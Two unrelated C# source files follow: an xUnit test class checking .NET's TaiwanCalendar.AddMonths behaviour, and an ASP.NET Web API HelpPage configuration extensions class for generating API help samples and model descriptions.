// Copyright (c) Microsoft. All rights reserved. // Licensed under the MIT license. See LICENSE file in the project root for full license information. using System; using System.Globalization; using Xunit; namespace System.Globalization.CalendarsTests { // System.Globalization.TaiwanCalendar.AddMonths(DateTime,System.Int32) public class TaiwanCalendarAddMonths { private readonly RandomDataGenerator _generator = new RandomDataGenerator(); private readonly int[] _DAYS_PER_MONTHS_IN_LEAP_YEAR = new int[13] { 0, 31, 29, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31 }; private readonly int[] _DAYS_PER_MONTHS_IN_NO_LEAP_YEAR = new int[13] { 0, 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31 }; #region Positive Test // PosTest1: Verify the add months greater than zero [Fact] public void PosTest1() { System.Globalization.Calendar tc = new TaiwanCalendar(); Random rand = new Random(-55); int year = rand.Next(tc.MinSupportedDateTime.Year, tc.MaxSupportedDateTime.Year - 1911); int month = rand.Next(1, 12); int day; if (tc.IsLeapYear(year)) { day = rand.Next(1, _DAYS_PER_MONTHS_IN_LEAP_YEAR[month] + 1); } else { day = rand.Next(1, _DAYS_PER_MONTHS_IN_NO_LEAP_YEAR[month] + 1); } DateTime dt = new DateTime(year, month, day); int addvalue; if ((tc.MaxSupportedDateTime.Year - year - 1911) > 1000) { addvalue = rand.Next(1, 1000 * 12); } else { addvalue = rand.Next(1, (tc.MaxSupportedDateTime.Year - year - 1911) * 12); } VerificationHelper(dt, addvalue); } // PosTest2: Verify the add months less than zero [Fact] public void PosTest2() { System.Globalization.Calendar tc = new TaiwanCalendar(); Random rand = new Random(-55); int year = rand.Next(tc.MinSupportedDateTime.Year, tc.MaxSupportedDateTime.Year - 1911); int month = rand.Next(1, 12); int day; if (tc.IsLeapYear(year)) { day = rand.Next(1, _DAYS_PER_MONTHS_IN_LEAP_YEAR[month] + 1); } else { day = rand.Next(1, _DAYS_PER_MONTHS_IN_NO_LEAP_YEAR[month] + 1); } DateTime dt = new DateTime(year, month, day); int addvalue; if ((tc.MinSupportedDateTime.Year - year) < -1000) { addvalue = rand.Next(-1000 * 12, 0); } else { addvalue = rand.Next((tc.MinSupportedDateTime.Year - year) * 12, 0); } VerificationHelper(dt, addvalue); } // PosTest3: Verify the DateTime is TaiwanCalendar MaxSupportDateTime [Fact] public void PosTest3() { System.Globalization.Calendar tc = new TaiwanCalendar(); DateTime dt = tc.MaxSupportedDateTime; int i = 0; VerificationHelper(dt, i); } // PosTest4: Verify the DateTime is TaiwanCalendar MinSupportedDateTime [Fact] public void PosTest4() { System.Globalization.Calendar tc = new TaiwanCalendar(); DateTime dt = tc.MinSupportedDateTime; int i = 0; VerificationHelper(dt, i); } #endregion #region Negative tests // NegTest1: The resulting DateTime is greater than the supported range [Fact] public void NegTest1() { System.Globalization.Calendar tc = new TaiwanCalendar(); DateTime dt = tc.MaxSupportedDateTime; int addValue = _generator.GetInt32(-55); Assert.Throws<ArgumentOutOfRangeException>(() => { tc.AddMonths(dt, addValue); }); } // NegTest2: The resulting DateTime is less than the supported range [Fact] public void NegTest2() { System.Globalization.Calendar tc = new TaiwanCalendar(); DateTime dt = tc.MinSupportedDateTime; int addValue = _generator.GetInt32(-55); addValue = -addValue; Assert.Throws<ArgumentOutOfRangeException>(() => { tc.AddMonths(dt, addValue); }); } // NegTest3: the add months is less than -120000 [Fact] public void NegTest3() { System.Globalization.Calendar tc = new TaiwanCalendar(); Random rand = new Random(-55); int year = rand.Next(tc.MinSupportedDateTime.Year, tc.MaxSupportedDateTime.Year - 1911); int month = rand.Next(1, 12); int day; if (tc.IsLeapYear(year)) { day = rand.Next(1, _DAYS_PER_MONTHS_IN_LEAP_YEAR[month] + 1); } else { day = rand.Next(1, _DAYS_PER_MONTHS_IN_NO_LEAP_YEAR[month] + 1); } DateTime dt = new DateTime(year, month, day); int addValue = rand.Next(Int32.MinValue, -120000); Assert.Throws<ArgumentOutOfRangeException>(() => { tc.AddMonths(dt, addValue); }); } // NegTest4: the add months is greater than 120000 [Fact] public void NegTest4() { System.Globalization.Calendar tc = new TaiwanCalendar(); Random rand = new Random(-55); int year = rand.Next(tc.MinSupportedDateTime.Year, tc.MaxSupportedDateTime.Year - 1911); int month = rand.Next(1, 12); int day; if (tc.IsLeapYear(year)) { day = rand.Next(1, _DAYS_PER_MONTHS_IN_LEAP_YEAR[month] + 1); } else { day = rand.Next(1, _DAYS_PER_MONTHS_IN_NO_LEAP_YEAR[month] + 1); } DateTime dt = new DateTime(year, month, day); int addValue = rand.Next(120000, Int32.MaxValue); Assert.Throws<ArgumentOutOfRangeException>(() => { tc.AddMonths(dt, addValue); }); } #endregion #region Helper Methods private bool IsLeapYear(int year) { return ((year % 4) == 0) && !(((year % 100) == 0) || ((year % 400) == 0)); } private void VerificationHelper(DateTime value, int addValue) { System.Globalization.Calendar tc = new TaiwanCalendar(); DateTime newDate = tc.AddMonths(value, addValue); int totalYear = addValue / 12; int leftMonth = addValue % 12; int day = value.Day; int month = value.Month + leftMonth; int year = value.Year + totalYear; if (month > 12) { month = month % 12; year++; } if (month < 1) { year--; month = 12 + month; } int dayInMonth = 0; if (IsLeapYear(year)) { dayInMonth = _DAYS_PER_MONTHS_IN_LEAP_YEAR[month]; } else { dayInMonth = _DAYS_PER_MONTHS_IN_NO_LEAP_YEAR[month]; } day = day > dayInMonth ? dayInMonth : day; DateTime desiredDate = new DateTime(year, month, day, value.Hour, value.Minute, value.Second, value.Millisecond); Assert.Equal(desiredDate.Year, newDate.Year); Assert.Equal(desiredDate.Month, newDate.Month); Assert.Equal(desiredDate.Day, newDate.Day); Assert.Equal(desiredDate.Hour, newDate.Hour); Assert.Equal(desiredDate.Minute, newDate.Minute); Assert.Equal(desiredDate.Second, newDate.Second); Assert.Equal(desiredDate.Millisecond, newDate.Millisecond); } #endregion } }
using System; using System.Collections.Generic; using System.Collections.ObjectModel; using System.ComponentModel; using System.Diagnostics; using System.Diagnostics.CodeAnalysis; using System.Globalization; using System.Linq; using System.Net.Http; using System.Net.Http.Headers; using System.Web.Http; using System.Web.Http.Controllers; using System.Web.Http.Description; using openCaseMaster.Areas.HelpPage.ModelDescriptions; using openCaseMaster.Areas.HelpPage.Models; namespace openCaseMaster.Areas.HelpPage { public static class HelpPageConfigurationExtensions { private const string ApiModelPrefix = "MS_HelpPageApiModel_"; /// <summary> /// Sets the documentation provider for help page. /// </summary> /// <param name="config">The <see cref="HttpConfiguration"/>.</param> /// <param name="documentationProvider">The documentation provider.</param> public static void SetDocumentationProvider(this HttpConfiguration config, IDocumentationProvider documentationProvider) { config.Services.Replace(typeof(IDocumentationProvider), documentationProvider); } /// <summary> /// Sets the objects that will be used by the formatters to produce sample requests/responses. /// </summary> /// <param name="config">The <see cref="HttpConfiguration"/>.</param> /// <param name="sampleObjects">The sample objects.</param> public static void SetSampleObjects(this HttpConfiguration config, IDictionary<Type, object> sampleObjects) { config.GetHelpPageSampleGenerator().SampleObjects = sampleObjects; } /// <summary> /// Sets the sample request directly for the specified media type and action. /// </summary> /// <param name="config">The <see cref="HttpConfiguration"/>.</param> /// <param name="sample">The sample request.</param> /// <param name="mediaType">The media type.</param> /// <param name="controllerName">Name of the controller.</param> /// <param name="actionName">Name of the action.</param> public static void SetSampleRequest(this HttpConfiguration config, object sample, MediaTypeHeaderValue mediaType, string controllerName, string actionName) { config.GetHelpPageSampleGenerator().ActionSamples.Add(new HelpPageSampleKey(mediaType, SampleDirection.Request, controllerName, actionName, new[] { "*" }), sample); } /// <summary> /// Sets the sample request directly for the specified media type and action with parameters. /// </summary> /// <param name="config">The <see cref="HttpConfiguration"/>.</param> /// <param name="sample">The sample request.</param> /// <param name="mediaType">The media type.</param> /// <param name="controllerName">Name of the controller.</param> /// <param name="actionName">Name of the action.</param> /// <param name="parameterNames">The parameter names.</param> public static void SetSampleRequest(this HttpConfiguration config, object sample, MediaTypeHeaderValue mediaType, string controllerName, string actionName, params string[] parameterNames) { config.GetHelpPageSampleGenerator().ActionSamples.Add(new HelpPageSampleKey(mediaType, SampleDirection.Request, controllerName, actionName, parameterNames), sample); } /// <summary> /// Sets the sample request directly for the specified media type of the action. /// </summary> /// <param name="config">The <see cref="HttpConfiguration"/>.</param> /// <param name="sample">The sample response.</param> /// <param name="mediaType">The media type.</param> /// <param name="controllerName">Name of the controller.</param> /// <param name="actionName">Name of the action.</param> public static void SetSampleResponse(this HttpConfiguration config, object sample, MediaTypeHeaderValue mediaType, string controllerName, string actionName) { config.GetHelpPageSampleGenerator().ActionSamples.Add(new HelpPageSampleKey(mediaType, SampleDirection.Response, controllerName, actionName, new[] { "*" }), sample); } /// <summary> /// Sets the sample response directly for the specified media type of the action with specific parameters. /// </summary> /// <param name="config">The <see cref="HttpConfiguration"/>.</param> /// <param name="sample">The sample response.</param> /// <param name="mediaType">The media type.</param> /// <param name="controllerName">Name of the controller.</param> /// <param name="actionName">Name of the action.</param> /// <param name="parameterNames">The parameter names.</param> public static void SetSampleResponse(this HttpConfiguration config, object sample, MediaTypeHeaderValue mediaType, string controllerName, string actionName, params string[] parameterNames) { config.GetHelpPageSampleGenerator().ActionSamples.Add(new HelpPageSampleKey(mediaType, SampleDirection.Response, controllerName, actionName, parameterNames), sample); } /// <summary> /// Sets the sample directly for all actions with the specified media type. /// </summary> /// <param name="config">The <see cref="HttpConfiguration"/>.</param> /// <param name="sample">The sample.</param> /// <param name="mediaType">The media type.</param> public static void SetSampleForMediaType(this HttpConfiguration config, object sample, MediaTypeHeaderValue mediaType) { config.GetHelpPageSampleGenerator().ActionSamples.Add(new HelpPageSampleKey(mediaType), sample); } /// <summary> /// Sets the sample directly for all actions with the specified type and media type. /// </summary> /// <param name="config">The <see cref="HttpConfiguration"/>.</param> /// <param name="sample">The sample.</param> /// <param name="mediaType">The media type.</param> /// <param name="type">The parameter type or return type of an action.</param> public static void SetSampleForType(this HttpConfiguration config, object sample, MediaTypeHeaderValue mediaType, Type type) { config.GetHelpPageSampleGenerator().ActionSamples.Add(new HelpPageSampleKey(mediaType, type), sample); } /// <summary> /// Specifies the actual type of <see cref="System.Net.Http.ObjectContent{T}"/> passed to the <see cref="System.Net.Http.HttpRequestMessage"/> in an action. /// The help page will use this information to produce more accurate request samples. /// </summary> /// <param name="config">The <see cref="HttpConfiguration"/>.</param> /// <param name="type">The type.</param> /// <param name="controllerName">Name of the controller.</param> /// <param name="actionName">Name of the action.</param> public static void SetActualRequestType(this HttpConfiguration config, Type type, string controllerName, string actionName) { config.GetHelpPageSampleGenerator().ActualHttpMessageTypes.Add(new HelpPageSampleKey(SampleDirection.Request, controllerName, actionName, new[] { "*" }), type); } /// <summary> /// Specifies the actual type of <see cref="System.Net.Http.ObjectContent{T}"/> passed to the <see cref="System.Net.Http.HttpRequestMessage"/> in an action. /// The help page will use this information to produce more accurate request samples. /// </summary> /// <param name="config">The <see cref="HttpConfiguration"/>.</param> /// <param name="type">The type.</param> /// <param name="controllerName">Name of the controller.</param> /// <param name="actionName">Name of the action.</param> /// <param name="parameterNames">The parameter names.</param> public static void SetActualRequestType(this HttpConfiguration config, Type type, string controllerName, string actionName, params string[] parameterNames) { config.GetHelpPageSampleGenerator().ActualHttpMessageTypes.Add(new HelpPageSampleKey(SampleDirection.Request, controllerName, actionName, parameterNames), type); } /// <summary> /// Specifies the actual type of <see cref="System.Net.Http.ObjectContent{T}"/> returned as part of the <see cref="System.Net.Http.HttpRequestMessage"/> in an action. /// The help page will use this information to produce more accurate response samples. /// </summary> /// <param name="config">The <see cref="HttpConfiguration"/>.</param> /// <param name="type">The type.</param> /// <param name="controllerName">Name of the controller.</param> /// <param name="actionName">Name of the action.</param> public static void SetActualResponseType(this HttpConfiguration config, Type type, string controllerName, string actionName) { config.GetHelpPageSampleGenerator().ActualHttpMessageTypes.Add(new HelpPageSampleKey(SampleDirection.Response, controllerName, actionName, new[] { "*" }), type); } /// <summary> /// Specifies the actual type of <see cref="System.Net.Http.ObjectContent{T}"/> returned as part of the <see cref="System.Net.Http.HttpRequestMessage"/> in an action. /// The help page will use this information to produce more accurate response samples. /// </summary> /// <param name="config">The <see cref="HttpConfiguration"/>.</param> /// <param name="type">The type.</param> /// <param name="controllerName">Name of the controller.</param> /// <param name="actionName">Name of the action.</param> /// <param name="parameterNames">The parameter names.</param> public static void SetActualResponseType(this HttpConfiguration config, Type type, string controllerName, string actionName, params string[] parameterNames) { config.GetHelpPageSampleGenerator().ActualHttpMessageTypes.Add(new HelpPageSampleKey(SampleDirection.Response, controllerName, actionName, parameterNames), type); } /// <summary> /// Gets the help page sample generator. /// </summary> /// <param name="config">The <see cref="HttpConfiguration"/>.</param> /// <returns>The help page sample generator.</returns> public static HelpPageSampleGenerator GetHelpPageSampleGenerator(this HttpConfiguration config) { return (HelpPageSampleGenerator)config.Properties.GetOrAdd( typeof(HelpPageSampleGenerator), k => new HelpPageSampleGenerator()); } /// <summary> /// Sets the help page sample generator. /// </summary> /// <param name="config">The <see cref="HttpConfiguration"/>.</param> /// <param name="sampleGenerator">The help page sample generator.</param> public static void SetHelpPageSampleGenerator(this HttpConfiguration config, HelpPageSampleGenerator sampleGenerator) { config.Properties.AddOrUpdate( typeof(HelpPageSampleGenerator), k => sampleGenerator, (k, o) => sampleGenerator); } /// <summary> /// Gets the model description generator. /// </summary> /// <param name="config">The configuration.</param> /// <returns>The <see cref="ModelDescriptionGenerator"/></returns> public static ModelDescriptionGenerator GetModelDescriptionGenerator(this HttpConfiguration config) { return (ModelDescriptionGenerator)config.Properties.GetOrAdd( typeof(ModelDescriptionGenerator), k => InitializeModelDescriptionGenerator(config)); } /// <summary> /// Gets the model that represents an API displayed on the help page. The model is initialized on the first call and cached for subsequent calls. /// </summary> /// <param name="config">The <see cref="HttpConfiguration"/>.</param> /// <param name="apiDescriptionId">The <see cref="ApiDescription"/> ID.</param> /// <returns> /// An <see cref="HelpPageApiModel"/> /// </returns> public static HelpPageApiModel GetHelpPageApiModel(this HttpConfiguration config, string apiDescriptionId) { object model; string modelId = ApiModelPrefix + apiDescriptionId; if (!config.Properties.TryGetValue(modelId, out model)) { Collection<ApiDescription> apiDescriptions = config.Services.GetApiExplorer().ApiDescriptions; ApiDescription apiDescription = apiDescriptions.FirstOrDefault(api => String.Equals(api.GetFriendlyId(), apiDescriptionId, StringComparison.OrdinalIgnoreCase)); if (apiDescription != null) { model = GenerateApiModel(apiDescription, config); config.Properties.TryAdd(modelId, model); } } return (HelpPageApiModel)model; } private static HelpPageApiModel GenerateApiModel(ApiDescription apiDescription, HttpConfiguration config) { HelpPageApiModel apiModel = new HelpPageApiModel() { ApiDescription = apiDescription, }; ModelDescriptionGenerator modelGenerator = config.GetModelDescriptionGenerator(); HelpPageSampleGenerator sampleGenerator = config.GetHelpPageSampleGenerator(); GenerateUriParameters(apiModel, modelGenerator); GenerateRequestModelDescription(apiModel, modelGenerator, sampleGenerator); GenerateResourceDescription(apiModel, modelGenerator); GenerateSamples(apiModel, sampleGenerator); return apiModel; } private static void GenerateUriParameters(HelpPageApiModel apiModel, ModelDescriptionGenerator modelGenerator) { ApiDescription apiDescription = apiModel.ApiDescription; foreach (ApiParameterDescription apiParameter in apiDescription.ParameterDescriptions) { if (apiParameter.Source == ApiParameterSource.FromUri) { HttpParameterDescriptor parameterDescriptor = apiParameter.ParameterDescriptor; Type parameterType = null; ModelDescription typeDescription = null; ComplexTypeModelDescription complexTypeDescription = null; if (parameterDescriptor != null) { parameterType = parameterDescriptor.ParameterType; typeDescription = modelGenerator.GetOrCreateModelDescription(parameterType); complexTypeDescription = typeDescription as ComplexTypeModelDescription; } // Example: // [TypeConverter(typeof(PointConverter))] // public class Point // { // public Point(int x, int y) // { // X = x; // Y = y; // } // public int X { get; set; } // public int Y { get; set; } // } // Class Point is bindable with a TypeConverter, so Point will be added to UriParameters collection. // // public class Point // { // public int X { get; set; } // public int Y { get; set; } // } // Regular complex class Point will have properties X and Y added to UriParameters collection. if (complexTypeDescription != null && !IsBindableWithTypeConverter(parameterType)) { foreach (ParameterDescription uriParameter in complexTypeDescription.Properties) { apiModel.UriParameters.Add(uriParameter); } } else if (parameterDescriptor != null) { ParameterDescription uriParameter = AddParameterDescription(apiModel, apiParameter, typeDescription); if (!parameterDescriptor.IsOptional) { uriParameter.Annotations.Add(new ParameterAnnotation() { Documentation = "Required" }); } object defaultValue = parameterDescriptor.DefaultValue; if (defaultValue != null) { uriParameter.Annotations.Add(new ParameterAnnotation() { Documentation = "Default value is " + Convert.ToString(defaultValue, CultureInfo.InvariantCulture) }); } } else { Debug.Assert(parameterDescriptor == null); // If parameterDescriptor is null, this is an undeclared route parameter which only occurs // when source is FromUri. Ignored in request model and among resource parameters but listed // as a simple string here. ModelDescription modelDescription = modelGenerator.GetOrCreateModelDescription(typeof(string)); AddParameterDescription(apiModel, apiParameter, modelDescription); } } } } private static bool IsBindableWithTypeConverter(Type parameterType) { if (parameterType == null) { return false; } return TypeDescriptor.GetConverter(parameterType).CanConvertFrom(typeof(string)); } private static ParameterDescription AddParameterDescription(HelpPageApiModel apiModel, ApiParameterDescription apiParameter, ModelDescription typeDescription) { ParameterDescription parameterDescription = new ParameterDescription { Name = apiParameter.Name, Documentation = apiParameter.Documentation, TypeDescription = typeDescription, }; apiModel.UriParameters.Add(parameterDescription); return parameterDescription; } private static void GenerateRequestModelDescription(HelpPageApiModel apiModel, ModelDescriptionGenerator modelGenerator, HelpPageSampleGenerator sampleGenerator) { ApiDescription apiDescription = apiModel.ApiDescription; foreach (ApiParameterDescription apiParameter in apiDescription.ParameterDescriptions) { if (apiParameter.Source == ApiParameterSource.FromBody) { Type parameterType = apiParameter.ParameterDescriptor.ParameterType; apiModel.RequestModelDescription = modelGenerator.GetOrCreateModelDescription(parameterType); apiModel.RequestDocumentation = apiParameter.Documentation; } else if (apiParameter.ParameterDescriptor != null && apiParameter.ParameterDescriptor.ParameterType == typeof(HttpRequestMessage)) { Type parameterType = sampleGenerator.ResolveHttpRequestMessageType(apiDescription); if (parameterType != null) { apiModel.RequestModelDescription = modelGenerator.GetOrCreateModelDescription(parameterType); } } } } private static void GenerateResourceDescription(HelpPageApiModel apiModel, ModelDescriptionGenerator modelGenerator) { ResponseDescription response = apiModel.ApiDescription.ResponseDescription; Type responseType = response.ResponseType ?? response.DeclaredType; if (responseType != null && responseType != typeof(void)) { apiModel.ResourceDescription = modelGenerator.GetOrCreateModelDescription(responseType); } } [SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes", Justification = "The exception is recorded as ErrorMessages.")] private static void GenerateSamples(HelpPageApiModel apiModel, HelpPageSampleGenerator sampleGenerator) { try { foreach (var item in sampleGenerator.GetSampleRequests(apiModel.ApiDescription)) { apiModel.SampleRequests.Add(item.Key, item.Value); LogInvalidSampleAsError(apiModel, item.Value); } foreach (var item in sampleGenerator.GetSampleResponses(apiModel.ApiDescription)) { apiModel.SampleResponses.Add(item.Key, item.Value); LogInvalidSampleAsError(apiModel, item.Value); } } catch (Exception e) { apiModel.ErrorMessages.Add(String.Format(CultureInfo.CurrentCulture, "An exception has occurred while generating the sample. Exception message: {0}", HelpPageSampleGenerator.UnwrapException(e).Message)); } } private static bool TryGetResourceParameter(ApiDescription apiDescription, HttpConfiguration config, out ApiParameterDescription parameterDescription, out Type resourceType) { parameterDescription = apiDescription.ParameterDescriptions.FirstOrDefault( p => p.Source == ApiParameterSource.FromBody || (p.ParameterDescriptor != null && p.ParameterDescriptor.ParameterType == typeof(HttpRequestMessage))); if (parameterDescription == null) { resourceType = null; return false; } resourceType = parameterDescription.ParameterDescriptor.ParameterType; if (resourceType == typeof(HttpRequestMessage)) { HelpPageSampleGenerator sampleGenerator = config.GetHelpPageSampleGenerator(); resourceType = sampleGenerator.ResolveHttpRequestMessageType(apiDescription); } if (resourceType == null) { parameterDescription = null; return false; } return true; } private static ModelDescriptionGenerator InitializeModelDescriptionGenerator(HttpConfiguration config) { ModelDescriptionGenerator modelGenerator = new ModelDescriptionGenerator(config); Collection<ApiDescription> apis = config.Services.GetApiExplorer().ApiDescriptions; foreach (ApiDescription api in apis) { ApiParameterDescription parameterDescription; Type parameterType; if (TryGetResourceParameter(api, config, out parameterDescription, out parameterType)) { modelGenerator.GetOrCreateModelDescription(parameterType); } } return modelGenerator; } private static void LogInvalidSampleAsError(HelpPageApiModel apiModel, object sample) { InvalidSample invalidSample = sample as InvalidSample; if (invalidSample != null) { apiModel.ErrorMessages.Add(invalidSample.ErrorMessage); } } } }